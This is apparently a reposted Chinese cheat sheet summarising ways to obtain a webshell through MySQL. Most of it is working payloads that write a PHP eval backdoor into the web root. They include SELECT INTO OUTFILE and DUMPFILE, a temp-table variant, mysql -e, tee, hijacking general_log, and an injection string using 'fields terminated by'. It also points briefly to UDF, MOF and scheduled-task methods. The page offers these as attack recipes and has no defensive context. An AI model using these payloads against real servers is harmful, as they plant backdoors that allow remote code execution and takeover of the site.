mysql拿webshell总结
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql拿webshell总结相关的知识,希望对你有一定的参考价值。
1、select ‘<?php eval($_POST[jumbo]) ?>‘ into outfile ‘/var/www/jumbo.php‘; 2、select ‘<?php eval($_POST[jumbo]) ?>‘ into dumpfile ‘/var/www/jumbo.php‘; 3、Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES(‘<?php eval($_POST[jumbo]) ?>‘);Select cmd from temp into out file ‘/var/www/jumbo.php‘;Drop TABLE IF EXISTS temp; 4、phpmyadmin导入.sql.zip 5、source /tmp/jumbo.sql 6、mysql -uuser -ppasswd -e "select ‘<?php eval($_POST[jumbo]) ?>‘ into outfile ‘/var/www/jumbo.php‘" 7、tee /var/www/jumbo.php;select ‘<?php eval($_POST[jumbo]) ?>‘; 8、set global general_log=on;set global general_log_file=‘/var/www/jumbo.php‘;select ‘<?php eval($_POST[jumbo]) ?>‘; 9、aaa‘into outfile ‘/var/www/jumbo.php‘ fields terminated by ‘<?php eval($_POST[jumbo]) ?>‘# 10、计划任务、启动项 11、udf 12、mof
以上是关于mysql拿webshell总结的主要内容,如果未能解决你的问题,请参考以下文章